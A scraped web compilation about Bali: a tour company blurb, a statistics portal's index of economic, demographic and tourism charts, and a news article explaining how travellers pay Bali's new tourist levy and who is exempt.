Text Sources: New York Times, Washington Post, Los Angeles Times, Times of London, Lonely Planet Guides, Library of Congress, Compton’s Encyclopedia, The Guardian, National Geographic, Smithsonian magazine, The New Yorker, Time, Newsweek, Reuters, AP, AFP, Wall Street Journal, The Atlantic Monthly, The Economist, Global Viewpoint (Christian Science Monitor), Foreign Policy, Wikipedia, BBC, CNN, and various books, websites and other publications.

Last updated August 2020

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The history and development of tourism in Bali

• By Edu Lahar Pragowo
• June 21, 2023

Java Private Tour

Java Private Tour was founded by Edu & Endy, they are young entrepreneurs who are very energetic and passionate in doing adventure, their enthusiasm and travel activities that they often do inspire them to establish Java Private Tour.

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Bali - statistics & facts

Balinese religion, culture, and traditions, the importance of the agricultural and tourism sectors in bali, key insights.

Detailed statistics

Population in Bali Indonesia

Bali GDRP per capita Indonesia 2016-2022

Bali GDRP distribution Indonesia Q3 2023, by sector

Editor’s Picks Current statistics on this topic

Current statistics on this topic.

Travel, Tourism & Hospitality

Number of foreign tourist arrivals to Bali, Indonesia 2008-2024

Commercial Real Estate

Commercial property price index Denpasar in Bali, Indonesia Q1 2020-Q3 2023

Related topics

Recommended.

• Travel and tourism in Indonesia
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• Demographics of Indonesia

Recommended statistics

• Premium Statistic Bali GDRP per capita Indonesia 2016-2022
• Premium Statistic Bali GDRP per capita growth Indonesia 2016-2022
• Premium Statistic Population in Bali Indonesia
• Premium Statistic Population in Bali Indonesia, by regency
• Premium Statistic Population share in Bali Indonesia, by age
• Premium Statistic Population share in Bali Indonesia, by gender and age group

Gross domestic regional product (GDRP) per capita in Bali, Indonesia from 2016 to 2022 (in million Indonesian rupiah)

Bali GDRP per capita growth Indonesia 2016-2022

Gross domestic regional product (GDRP) per capita growth in Bali, Indonesia from 2016 to 2022 (in million Indonesian rupiah)

Population in Bali, Indonesia from 1995 to 2022 (in 1,000s)

Population in Bali Indonesia, by regency

Population in Bali, Indonesia in 2022, by regency (in 1,000s)

Population share in Bali Indonesia, by age

Population share in Bali, Indonesia in 2022, by age

Population share in Bali Indonesia, by gender and age group

Population share in Bali, Indonesia in 2022, by gender and age group

• Premium Statistic Bali GDRP Indonesia Q3 2023, by sector
• Premium Statistic Bali GDRP distribution Indonesia Q3 2023, by sector
• Premium Statistic Monthly per capita expenditure in Bali Indonesia 2016-2022
• Premium Statistic YOY growth of monthly per capita expenditure in Bali Indonesia 2016-2022

Bali GDRP Indonesia Q3 2023, by sector

Gross domestic regional product (GDRP) in Bali, Indonesia in the 3rd quarter 2023, by sector (in trillion Indonesian rupiah)

Gross domestic regional product (GDRP) distribution in Bali, Indonesia in the 3rd quarter 2023, by sector

Monthly per capita expenditure in Bali Indonesia 2016-2022

Average monthly per capita expenditure in Bali, Indonesia from 2016 to 2022 (in Indonesian rupiah)

YOY growth of monthly per capita expenditure in Bali Indonesia 2016-2022

Year-over-year (YOY) growth of average monthly per capita expenditure in Bali, Indonesia from 2016 to 2022

• Premium Statistic Bali number of workers Indonesia 2022-2023, by sector
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Bali number of workers Indonesia 2022-2023, by sector

Number of workers in Bali, Indonesia from 2022 to 2023, by sector (in 1,000s)

Bali unemployment rate Indonesia 2019-2023

Unemployment rate in Bali, Indonesia from 2019 to 2023

Monthly minimum wage in Bali Indonesia 2019-2023

Monthly minimum wage in Bali, Indonesia from 2019 to 2023 (in million Indonesian rupiah)

Bali monthly net salary for formal workers Indonesia 2023, by sector

Average monthly net salary of formal employees in Bali, Indonesia in 2023, by sector (in 1,000 Indonesian rupiah)

Bali monthly net income for informal workers Indonesia 2023, by sector

Average monthly net income of informal employees in Bali in Indonesia in 2023, by sector (in million Indonesian rupiah)

Agricultural production

• Premium Statistic Rice production Bali Indonesia 2022, by regency
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Rice production Bali Indonesia 2022, by regency

Rice production in Bali, Indonesia in 2022, by regency (in 1,000 metric tons)

Crop production Bali Indonesia 2022, by type

Crop production in Bali, Indonesia in 2022, by type (in metric tons)

Fruit production Bali Indonesia 2022, by type

Fruit production in Bali, Indonesia in 2022, by type (in metric tons)

Vegetable production Bali Indonesia 2022, by type

Vegetable production in Bali, Indonesia in 2022, by type (in metric tons)

Fisheries production Bali Indonesia 2013-2022

Fisheries production in Bali, Indonesia from 2013 to 2022 (in 1,000 metric tons)

Pork production Indonesia 2023, by province

Pork production in Indonesia in 2023, by province (in metric tons)

• Premium Statistic Number of domestic tourists in Bali, Indonesia 2013-2022
• Premium Statistic Number of foreign tourist arrivals to Bali, Indonesia 2008-2024
• Premium Statistic Leading markets for direct foreign tourist arrivals to Bali, by country 2024
• Premium Statistic Number of hotel rooms in Bali, Indonesia 2022, by number of stars
• Premium Statistic Number of non-rated hotel rooms in Bali, Indonesia 2019-2022

Number of domestic tourists in Bali, Indonesia 2013-2022

Number of domestic tourists in Bali, Indonesia from 2013 to 2022 (in millions)

Number of foreign tourist arrivals to Bali, Indonesia from 2008 to 2024 (in millions)

Leading markets for direct foreign tourist arrivals to Bali, by country 2024

Leading feeder markets for direct foreign tourist arrivals to Bali, Indonesia as of March 2024, by country (in 1,000s)

Number of hotel rooms in Bali, Indonesia 2022, by number of stars

Number of rooms in classified hotels in Bali, Indonesia in 2022, by number of stars

Number of non-rated hotel rooms in Bali, Indonesia 2019-2022

Number of rooms in non-classified hotels and other accommodations in Bali, Indonesia from 2019 to 2022

International trade

• Premium Statistic Import values of Bali Indonesia 2022, by commodity
• Premium Statistic Import values of Bali Indonesia 2022, by country
• Premium Statistic Export values of Bali Indonesia 2022, by commodity
• Premium Statistic Export values of Bali Indonesia 2022, by country

Import values of Bali Indonesia 2022, by commodity

Import values of Bali, Indonesia in 2022, by leading commodity (in million U.S. dollars)

Import values of Bali Indonesia 2022, by country

Import values of Bali, Indonesia in 2022, by leading country of origin (in million U.S. dollars)

Export values of Bali Indonesia 2022, by commodity

Export values of Bali, Indonesia in 2022, by leading commodity (in million U.S. dollars)

Export values of Bali Indonesia 2022, by country

Export values of Bali, Indonesia in 2022, by leading country of destination (in million U.S. dollars)

Investments

• Premium Statistic YoY residential property price index growth Denpasar city, Indonesia Q1 2022-Q3 2023
• Premium Statistic Commercial property price index Denpasar in Bali, Indonesia Q1 2020-Q3 2023
• Premium Statistic Domestic direct investment in Bali Indonesia 2019-2023
• Premium Statistic Foreign direct investment in Bali Indonesia 2019-2023

YoY residential property price index growth Denpasar city, Indonesia Q1 2022-Q3 2023

Year-on-year (YoY) residential property price index growth in Denpasar in Bali, Indonesia from 1st quarter 2022 to 3rd quarter 2023

Commercial property price index in Denpasar in Bali, Indonesia from 1st quarter 2020 to 3rd quarter 2023

Domestic direct investment in Bali Indonesia 2019-2023

Value of domestic direct investment in Bali, Indonesia from 2019 to 2023 (in billion Indonesian rupiah)

Foreign direct investment in Bali Indonesia 2019-2023

Value of foreign direct investment in Bali, Indonesia from 2019 to 2023 (in million U.S. dollars)

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• Destinations

How to pay Bali’s new tourist tax

The entry requirements for Bali are changing from February 14. Here is what you need to do before you arrive.

Bali looks to drastically hike entry fee

Silly mistake that cost me $500 in Bali

Major call for infamous Bali monkeys

Australians heading to Bali from Wednesday will need to pay a new tourist levy to enter the popular holiday island.

Travellers must pay 150,000IDR per person (about $15).

Here is what you need to know.

How to pay the tourist levy

You can pay the $15 fee via the lovebali.baliprov.go.id website or Love Bali app.

You will need to enter your details, including your passport number and arrival date.

Then you can choose your payment method and once successful, you will have a ‘Levy Voucher’ sent to your email.

It is important to make sure the voucher is valid and active as your will need to present it at scanning checkpoints when entering Bali.

There will also be a counter to pay the fee by debit or credit card at I Gusti Ngurah Rai International Airport or Benoa Harbour, but this is not the method encouraged.

What is the tourist levy for?

The tourist levy is promoted as a way to protect Bali’s culture and natural environment.

“This money will be used in our efforts to establish sustainable tourism,” Indonesia’s Deputy Tourism Minister Ni Made Ayu Marthini told news.com.au when she visited Melbourne last October.

“Primarily, these funds will be used to improve waste management, preserve cultural sites and the local environment.”

The government’s Love Bali website added that it will help improve the quality of services, the safety, and comfort of tourists, by developing integrated land, sea and air infrastructure.

The tourist levy is just one of a series of measures introduced in Bali in the last year to crackdown on mass tourism.

An official tourist dos and don’ts list was released, a hotline was established for anyone to dob in misbehaving travellers, and a special task force was set up to monitor foreigners’ activities.

Indonesia has pleaded with Australian tourists to not only respect local customs but explore more of the country beyond Bali.

The Australian government has also urged travellers to listen to Indonesia’s pleas to behave.

Do I need to pay the tourist levy again if I leave Bali and come back?

There has been some confusion about whether travellers will need to pay the fee twice if they visit nearby islands, like Lombok and the Gili Islands, and then return to Bali in the same holiday.

Indonesia’s Tourism Minister Sandiaga Uno confirmed to news.com.au the tourist levy would only need to be paid once by foreign visitors during a trip to Indonesia.

“You could fly to Bali, pay the fee, visit Jakarta [the country’s capital] and then return to Bali and not have to pay again,” he said. “However if you were to go from Bali to Bangkok [Thailand] and then back to Bali, you would need to pay again.”

Who is exempt from the tourist levy?

Foreigners who have the following visas can apply for an exemption via the same website and app.

They must do so at least one month before arriving in Bali or they will have to pay the tourist levy.

• Diplomatic visas and official visas

• Temporary Stay Permit Cards (KITAS) or Permanent Stay Permit Cards (KITAP)

• Family unification visas

• Golden visas

More Coverage

• Student visas

• Holders of other visa types issued by Immigration, excluding those intended for tourist destinations

Crew of conveyances are also exempt and do not need to submit an application for exemption.

Aussies planning a trip to the hotspot may soon have to cough up almost $100 to enter the island with arguments the current fee is “too low”.

This Aussie traveller made a mistake in Bali that saw her fined $500 – but it could have been a lot worse.

The managers of a renowned Bali tourist attraction have made a major call on the site’s mischievous resident long-tailed monkeys.